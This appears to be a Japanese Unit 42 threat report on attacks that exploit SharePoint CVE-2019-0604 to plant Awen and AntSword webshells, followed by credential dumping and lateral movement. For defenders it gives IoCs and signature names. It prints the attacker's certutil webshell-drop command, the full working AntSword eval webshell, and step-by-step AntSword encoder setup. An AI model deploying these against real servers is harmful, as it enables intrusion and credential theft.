This post is also available in: English (英語)
概要
パロアルトネットワークス脅威インテリジェンス調査チームUint 42は、2019年9月10日、CVE-2019-0604で説明されているSharePointの脆弱性を悪用する未知の攻撃者が、中東の政府機関のwebサイトに複数のwebshellをインストールした様子を観測しました。これらのwebshellの1つはGithubから無料で利用できるオープンソースのAntSword webshellで、悪名高いChina Chopperのwebshellに極めてよく似ているものです。
2020年1月10日、私たちはShodanを使用し、CVE-2019-0604に対して脆弱なバージョンのSharePointを実行しているインターネットからアクセス可能なサーバーを検索しました。HTTPレスポンス内でSharePointが示すバージョンは必ずしも正確でない場合がありますが、ここではひとまずこのバージョン番号を使用することにし、Microsoftのアドバイザリで説明されている修正更新済みSharePointバージョンよりHTTPレスポンス内のバージョン番号が古いかどうかを比較することにしました。この結果、HTTPレスポンス内に脆弱性のあるSharePointのバージョン番号を返したサーバーは28,881台見つかりました。なおここでは、これらのサーバーを個別チェックして実際に脆弱性があるかどうかを積極的には確認していません。このため、これら公開SharePointサーバーの多くは脆弱性がないか、更新プログラム適用済みの可能性はあります。とはいえ、サーバー数が多く、公開済みエクスプロイトコードが豊富なことから、CVE-2019-0604は依然としてよく利用される攻撃ベクトルです。
これら一連のwebshellを使用して攻撃者たちはネットワーク上の他のシステムに横展開していました。このさい、悪名高いMimikatzツール亜種で資格情報をダンプし、ダンプした資格情報を利用してImpacketのatexecツールにより他のシステム上でコマンドを実行していました。また2019年9月19日には、中東のまた別の国のある政府機関にホスティングされたwebshellに、まったく同じMimikatz亜種がアップロードされていたことも確認しました。これら2つの組織にアップロードされたMimikatz亜種は、.NETで記述されたカスタムローダーアプリケーションを含む点が特異なものです。したがって私たちは同じ脅威攻撃グループが両方の侵入の背後にいると考えています。
私たちが最初に中東2か国の政府機関のSharePointサーバーにCVE-2019-0604を悪用してwebshellをインストールするEmissary Panda脅威攻撃グループを確認したのは2019年4月のことでした。これを現在の攻撃まで5か月早送りして4月の攻撃と比較してみると、異なる2つの国の政府機関で同一の脆弱性が悪用されていることがわかります。なお、当該SharePoint脆弱性を悪用した2019年9月の攻撃と2019年4月に行われたEmissary Pandaによる攻撃との間には、とくに何か強い結びつきがあるとは確認されていません。たしかにこれら2つの一連の攻撃では、悪用された脆弱性の種類、ツールセット、被害を受けた政府組織像などの重複が見られますが、攻撃キャンペーン間をつなぐ強力なピボットはとくに確認されていません。
というのも、この脆弱性を悪用するのはEmissary Pandaに限ったことではなく、同じ脆弱性を使用してSharePointサーバーをエクスプロイトし、標的ネットワークへの最初の足がかりを確保する脅威攻撃グループは複数いるからです。ただし、4月の攻撃でEmissary PandaはChina Chopperを使用しており、AntSwordとChina Chopperのwebshellは驚くほど似かよっているので、AntSwordのwebshellが重複している可能性については認めてよいだろうと考えています。ただ現時点では、SharePointサーバーで分析されたアーティファクト(痕跡)から、4月の攻撃でAntSwordが使用されていたものとは考えていません。具体的には、4月の攻撃でのIISログにはwebshellに対するリクエストでAntSwordのUser-Agentは一切見られませんでしたが、現在の攻撃ではこのAntSwordのUser-Agentが観測されています。
パロアルトネットワークスのお客様は、本稿に説明した脅威によるエクスプロイトとC2トラフィックから、Threat PreventionシグネチャとWildFireによって保護されています。保護の詳細については、本稿の結論部に記載します。
CVE-2019-0604の悪用
2019年9月10日、私たちは以下のURLへのHTTP POSTリクエストを確認しました。私たちはこれを、公開済みSharePointサーバー(T1190)に対するCVE-2019-0604の悪用と考えています。
<ドメイン名省略>/_layouts/15/picker.aspx
上記HTTP POSTリクエスト内で送信されたデータにはアクセスできませんでしたが、インバウンドのリクエストが発生した時点で、SharePointサーバー上では次のコマンドが実行されていることがわかりました。
C:\Windows\System32\cmd.exe /c echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBEZWJ1Zz0idHJ1ZSIgVHJhY2U9ImZhbHNlIiAlPg[..snip..] > c:\programdata\cmd.txt & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\c.aspx
上記のコマンドは echo コマンドを使い、base64エンコード済み大きなデータチャンクを cmd.txtという名前のテキストファイルに書き込んでいます。その後このコマンドは certutil アプリケーションを使い、 cmd.txt 内のbase64エンコードされたデータ (T1132) を3つの異なるSharePoint関連フォルダ内の c.aspx に変換しています。このコマンドがすべて実行されると、Awen asp.net Webshell(T1100)の亜種がSharePointサーバーに保存され、ここから侵害済みのサーバーとの対話がさらに行われます。このSharePoint脆弱性の悪用によってインストールされるAwen webshellのSHA256ハッシュ値は5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21です。
攻撃者のAwen webshell
CVE-2019-0604の悪用が疑われた攻撃からわずか40秒後、私たちはc.aspxにホストされたwebshellへの最初のHTTP GETリクエストが発行されたことを確認しました。これは無料で利用可能なawen asp.net webshellを変更したものでした。このHTTP GETリクエストは、攻撃者がエクスプロイトを開始後、コマンドを実行する前にwebshellにアクセスしていたときのものと考えられます。図1は、コマンドプロンプトアプリケーションへのパス設定とコマンド実行以外の機能をほとんど持たないAwen webshellを示しています。
図1 CVE-2019-0604悪用後に攻撃者がインストールしたAwen webshell
攻撃者は、図1に示すAwen webshellを使用してさまざまなコマンドを実行し、ユーザーアカウント(T1033、T1087)、ファイルやフォルダ(T1083)、特権グループ(T1069)、リモートシステム(T1018)、ネットワーク構成(T1016)などをはじめとする初期情報を見つけ出します。表1に、この初期情報発見用のコマンドのほか、サーバーに別のwebshellをインストールするためのコマンド類を示しました。たとえばechoコマンド(base64でエンコードされたデータをa.txtに書き込む)、certutilアプリケーション(bitreeview.aspxをデコードして保存する)などです。このほか表1には、Awen webshellで実行された前後のコマンドの時間差(デルタ)を示し、攻撃者によるコマンド実行スピードがわかりやすいようにしてあります。
前のコマンドからの時間差 | コマンド |
(最初のエクスプロイトから)3分55秒 | dir c:\programdata\ |
14秒 | query user |
15秒 | net group /do |
32秒 | whoami |
18秒 | net user <redacted hostname> /do |
12秒 | net localgroup administrators |
21秒 | ping -n 1 8.8.8.8 |
20秒 | net group exchange servers /do |
22秒 | ipconfig /all |
23秒 | ping -n 1 -a 10.x.x.x |
10分53秒 | echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQi[..snip..] > c:\programdata\a.txt |
5秒 | type c:\programdata\a.txt |
5秒 | certutil -decode c:\programdata\a.txt c:\program files\common files\microsoft shared\web server extensions\14\template\layouts\bitreeview.aspx |
23秒 | del c:\programdata\a.txt |
表1 CVE-2019-0604のエクスプロイト後に攻撃者がインストールしたAwen webshell
bitreeview.aspxという名前のwebshellが、SharePointサーバーのインストールパス内のフォルダに保存されていました。このbitreeview.aspxというファイルは、悪名高いChina Chopper webshellと明らかに類似した特徴を持つAntSword webshellの亜種です。この攻撃者はAntSword webshellをインストールした後はAwen webshellを利用しません。Awen webshellに最後のコマンドを発行してから35秒後に最初のコマンドをAntSwordに発行しています。
攻撃者のAntSword webshell
AntSwordはモジュラー型のwebshellで、侵害したサーバーに攻撃者がインストールするごく単純なwebshellと、AntSword Shell Managerと呼ばれるクライアントアプリケーションが含まれています。他の多くのwebshellはブラウザウィンドウで対話しますが、これはクライアントアプリケーションを使用する点でほかと異なっています。攻撃者はAntSword Shell Managerを使用して侵害したサーバー上のAntSword webshellと対話します。Shell Managerは適切なスクリプトをwebshellに送信し、これによってwebshellが目的のアクションを実行します。この攻撃で展開されたbitreeview.aspxというAntSword webshell(SHA256:15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e)がどのくらい機能を削ぎ落とされたシェルであるかをわかりやすく表現するなら、このwebshellのサイズはたった162バイトで、含まれているのは以下のみです。
1 2 3 4 5 6 7 8 9 |
%@ Page Language="Jscript"% % eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert. FromBase64String(Request.Item["Darr1R1ng"])),"unsafe"); % |
上記のコードからわかるように、AntSword webshellには、AntSword Shell Managerから提供されたスクリプトを実行する以外の機能はありません。具体的には、HTTP POSTリクエストのDarr1R1ngという名前のフィールドに含まれるスクリプトを実行する機能のみを持ちます。上記のコードはまた、攻撃者がAntSword Shell Manager内で独自のカスタム「エンコーダ」を作成して同コードと対話できるようにしたことを示すものでもあります。これについては、次のセクションで詳しく説明します。
攻撃者は、AntSword Webshellを使用し、侵害したサーバー上でさまざまなコマンドを実行していました。以下は、このwebshellを使用して発行される初期コマンドの一覧です。これらのコマンドは、初期のシステムやユーザーの発見、対象システムへのpingを試みるものです。
- whoami
- query user
- nltest /domain_Trusts
- ping -n 1 <redacted domain name>
- ipconfig /all
- net group /do
- net group Exchange Servers /do
- ing -n 1 <redacted hostname of Exchange server>
- ping -n 1 <redacted hostname of Exchange server>
- query user
pingの試行は、この攻撃者がMicrosoft Exchangeサーバーへのアクセスを取得しようとしていることを示唆しています。Microsoft Exchangeサーバーへのアクセス取得は目的の一部であったか、Microsoft Exchangeサーバーが存在するドメインで昇格した特権を狙っていた可能性があります。またこのpingの最初の試行で攻撃者はコマンドのスペルを間違えていました。このことから、これらコマンドが自動スクリプトではなくキーボードから手で入力されたことがわかります。図2は、AntSword Shell Managerアプリケーション内のターミナルインターフェイスを示しています。攻撃者は、このインターフェイス経由でコマンドを発行しています。
図2 webShellと対話するAntSword Shell Managerのターミナル
完全な可視性はなかったものの、私たちはこの攻撃者がAntSword webshellを使用してサーバーにツール類、すなわちcURL、カスタマイズしたMimikatz亜種、コンパイル済みImpacket wmiexec亜種、atexecなどをサーバーにアップロードしていたものと考えています。AntSwordには、Windowsエクスプローラーに似たナビゲーション機能を提供するFileManagerインターフェイスが備わっています。これにより攻撃者は侵害したサーバーとの間でファイルをアップロード/ダウンロードすることができます。図3は、AntSword Shell ManagerアプリケーションのFileManagerインターフェイスを示しています。
図3 webshellを使用するAntSword Shell ManagerのFileManagerインターフェイス
攻撃者はアップロードされたこれらツールを使用してwebshellにコマンドを発行していました。たとえば、cURLツールは curl.exe ipinfo.io --max–time 5 というコマンドを実行するのに使用され、これによりサーバーがインターネットへのアウトバウンドアクセスを持っているかどうかを判断し、侵害されたシステムの外部IPアドレスを取得するのに使われていました。攻撃者はnet useコマンドやMimikatz、Impacketといったツールをとくに横展開のために使っていました。攻撃者はメモリから資格情報をダンプする(T1003)ためにMimikatzを使用し、Pass-The-Hashテクニック(T1075)によって他のシステム上でコマンドを実行するためにImpacketツールを使ったようです。
攻撃者のカスタムAntSwordエンコーダ
SharePointサーバーにインストールされたAntSword webshellを使用するため、攻撃者はAntSwordにカスタムエンコーディングモジュールを作成する必要がありました。なぜそれがわかるかといえば、AntSword Shell Managerのデフォルトエンコーダではbitreeview.aspxwebshellとうまく対話ができないからです。デフォルトのbase64エンコーダであれば、Darr1R1ngフィールド内のbase64エンコードしたデータとしてではなく、クリアテキストとしてデータを送信します(図4参照)。私たちはデフォルトのbase64エンコーダを使用し、脅威攻撃者がインストールしたwebshell、bitreeview.aspxとの対話を試みましたが、クリアテキストのDarr1R1ngフィールドにbase64アルファベット以外の文字が含まれている場合、サーバーはHTTP 500エラーメッセージで応答してきました。
図4 デフォルトbase64エンコーダを使用してAntSword Shell Managerからwebshellに発行されたHTTP POSTリクエスト
このことから、攻撃者はAntSword Shell Manager用にカスタムエンコーディングモジュールを作成し、Darr1R1ngフィールド全体をbase64エンコードしていたに違いないと判断しました。それにより、bitreeview.aspx webshellと正常に対話できるようになります。AntSword Shell Managerには、ユーザーがカスタムエンコーディングモジュールを作成するためのインターフェイスが用意されています。そこで私たちは、攻撃者がカスタムエンコーディングを作成し、webshellとの対話ができるようにするまでに実行した手順がどのようなものであったかを確認してみることにしました。
1. 攻撃者はまず、AntSword Shell Managerを開くことから始めます。私たちの分析からは、具体的にはAntSword v2.1を使用したものと思われます。 2. インストールされたwebshellと対話する前に、カスタムエンコーディングモジュールを作成する必要があります。そこで、メニューからAntSword、Encoders managerの順にクリックします。
3. Encoder Managerインターフェイスで[New Encoder]ボタンをクリックします。
4. 次に攻撃者は、[New Encoder]ドロップダウンから「ASPX」を選択したと思われます。その理由は、SharePointサーバーにインストールされたAntSword webshellがASPXファイルだったからです。
5. 次に攻撃者は、新しいエンコーダに名前を付け、青いボタンをクリックして続行します。この例で私たちはデフォルト名「myencoder」を選択しました。
6. 新しいエンコーダを作成後、このエンコーダを選択し、[Edit]メニューボタンをクリックします。
7. [Edit]ボタンをクリックすると[EditEncoder]ウィンドウが開き、変更可能なサンプルエンコーダが表示されます。サーバーでbitreeview.aspx webshellを使用するため、サンプルエンコーダの24行目を修正し、Darr1R1ngフィールドのコンテンツをクリアテキストのままにする代わりにbase64でエンコードするようにします。
8. Darr1R1ngフィールドをbase64エンコードするため、攻撃者は24行目を、この図の24行目に今表示されているコードと同等の機能を持つコードに変更します。その後、[Save]メニューボタンをクリックし、新しいカスタムエンコーディングモジュールを保存します。
9. カスタムエンコーディングモジュールを作成したら、右クリックして[Add]を選択し、Shell Managerのウィンドウに新しいシェルを追加します。
10. [Add shell]インターフェイスが開き、ここからシェルの場所、HTTP POSTリクエスト内のフィールド名、webshellがシェルマネージャとの対話に使用するエンコードモジュールを構成できます。
11. このインシデントについていえば、攻撃者は次の設定を追加して[Add]メニューボタンをクリックしていたものと思われます。
-
- [Shell url]に「bitreeview.aspx」webshell (検証環境ではlocalhost) への URL を設定
- [Shell pwd]には「Darr1R1ng」という単語を設定
- [Shell type] にドロップダウンから「ASPX」を選択
- [myencoder]の横のラジオボックスをオンにしてカスタムエンコーダを選択
12. [Add]ボタンをクリックすると、シェルがシェルマネージャインターフェイス内に一覧表示されます。
13. webshellと対話するため、攻撃者はシェルを右クリックして表示されるメニューからアクションを選択します。webサーバーでコマンドを実行するため、Terminalメニューボタンを選択します。
14. AntSword Shell Managerは、コマンドプロンプトウィンドウに似たインターフェイスを表示します。オペレーティングシステム、現在のユーザー、現在の作業ディレクトリ、サーバー上のストレージボリュームなど、webshellが実行されているシステムに関する情報も表示さまれます。
15. 攻撃者はこのウィンドウで目的のコマンドを発行し、webshellがそれを実行して結果を返します。
16. 侵害されたサーバーのファイルシステムと直接やり取りしたい場合、Shell Managerから[FileManager]メニューボタンを選択します。
Ant CwordとChina Chopperとの類似性
AntSwordとChina Chopperはどちらもモジュラー型のwebshellで、攻撃者はこれらのwebshellと、webブラウザ経由ではなくクライアントアプリケーション経由で対話します。AntSwordの開発者は、ツールのベースにChina Chopperを使用していた可能性があります。というのも、デフォルトのChina Chopper webshellは、AntSwordのASPX webshellのデフォルトエンコーダと連携するからです。2つのwebshellの主な違いは、2つのクライアントアプリケーションがコマンドその他の活動を実行するためにwebshellに送信するコードやパラメータに関するものです。たとえばChina Chopperの場合、webshellを介してコマンドを実行するのに2つのパラメータz1とz2を使用します(図5を参照)が、AntSwordは、実行ごとにランダムに生成された4つのパラメータ名を使用します(図6参照)。
図5 コマンドを実行するさいのChina Chopper webshellへのHTTP POSTリクエスト。ここでは必要とされるパラメータを矢印で示している
図6 コマンドを実行するさいのAntSword webshellへのHTTP POSTリクエスト。ここでは必要とされるパラメータを矢印で示している
パラメータが異なるだけでなく、webshellに送信されるコードも違います。図7の右側のコードがAntSwordのものですが、ここからわかるように、AntSwordとChina Chopperがwebshellでのコマンド実行に使用するコードを比較すると、まったく同じコード行もありますが、右側のAntSwordのコードには異なるコード行や追加された行が複数あります。ここでは、コマンド実行前に攻撃者が環境変数を設定できるようにする追加コード行が含まれています。
図7 webshellでコマンドを実行するためにAntSwordとChina Chopperが使用するコードの比較
関連するwebshellで確認されたツール
AntSword webshellにアップロードされたツールを分析すると、異なる中東の国の異なる政府機関のサーバーにホスティングされているwebshellに、同一のMimikatzサンプルがアップロードされていることがわかりました。2019年9月19日、攻撃者はこのMimikatzサンプルを次のURLでホスティングされているwebshellにアップロードしていました。
<ドメイン名省略>/uploadedFiles/green_post.aspx
このURLでホストされているwebshellにはアクセスできませんでしたし、攻撃者が実行したコマンドがどのようなものであったかも確認できませんでした。さらにはこのサーバーがSharePointサーバーであるかどうかや、webshellをインストールするために脆弱性が悪用されたかどうかもわかっていません。ただしMimikatzのサンプルは、.NETで記述されたカスタムローダを使用する特異なものでした。したがって、両政府機関への侵入には、同じ脅威グループが関与しているものと私たちは考えています。
またMimikatzツールのほかに、攻撃者は2つめの組織にホスティングされているwebshellに他のツールもアップロードしていました。表2にこのwebshellにアップロードされていた実行可能ファイルの一覧を記載します。この一覧からは、MimikatzやImpacketのatexecツールをはじめ、前述のAntSword webshellにアップロードされたものと同様のツールがアップロードされていたことがわかります。
SHA256値 | ファイル名 | 説明 |
da53dcaeed.. | es.exe | カスタムローダを備えたMimikatz |
26d9212ec8.. | Rar.exe | 正規のWinRAR |
a4aca75bcc.. | atec.exe | Impacket atexecツールをコンパイルしたもの |
e4e05c9a21.. | dmp.exe | Dumpertツール |
表2 2つめの政府機関にホスティングされているwebshellにアップロードされていたツール
表2に示したツール1つにDumpertツールがあがっていますが、このツールはOutflanknlのGitHubリポジトリから無料で入手可能です。Dumpertの作者は、このツールを、直接的なシステムコールとAPIのアンフックを使用し、ウイルス対策ソリューションやEDRソリューションを回避するためのLSASSダンプツールと説明しています。Dumpertは比較的新しいツールで、GitHubへの最初のコミットは2019年6月17日に行われています。Dumpertツールは、レッドチームによる攻撃側のエミュレーション支援を目的としていますが、2019年9月23日にこの関連webshellにアップロードされるまで、私たちは脅威攻撃者がこのツールを利用した例を確認したことがありませんでした。
結論
脅威攻撃者はCVE-2019-0604で報告されたSharePointサーバーを侵害する脆弱性をいまなお悪用しています。この脆弱性に対しては、Microsoftが2019年3月に更新プログラムをリリースしています。私たちは攻撃者がSharePointサーバーにwebshellをインストールする様子を観測しました。彼らはこのwebshellを使ってコマンドを実行し、追加のツールをアップロードします。これらのツールやコマンドで、資格情報をダンプし、ネットワーク上の他のシステムに横展開するのです。また私たちは、脅威攻撃者グループによるツールの使いまわし、つまりカスタマイズされたMimikatzのサンプルを使いまわしていたことをきっかけとして、関連するwebshellも見つけることができました。このツールの使いまわしがあったおかげで、CVE-2019-0604のエクスプロイト関連インシデントではこれまでその使用が確認されていなかった資格情報ダンプツールDumpertをこの脅威攻撃者グループがアップロードしていたこともわかりました。
パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。
- CVE-2019-0604の脆弱性には、Microsoft Sharepoint Remote Code Execution Vulnerability (55411) IPSシグネチャが対応済みです。
- Awen webshellは、IPSシグネチャWebshell.ASPX.git.Awen Command and Control Traffic(83202)によって検出されます。
- AntSword ASPX webshellは、IPSシグネチャAntSword Webshell Command and Control Traffic Detection(85561、85562、85563)によって検出されます。
- Mimikatz、Impacketのatexec、DumpertツールはすべてWildFireによりマルウェアと判定されます。
IoC
Awen Webshell
- 5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21
AntSword Webshell
- 15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e
Mimikatz
- da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304
関連ツール
- da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304
- 2836cf75fa0538b2452d77848f90b6ca48b7ff88e85d7b006924c3fc40526287
- 26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd
- a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10
- e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e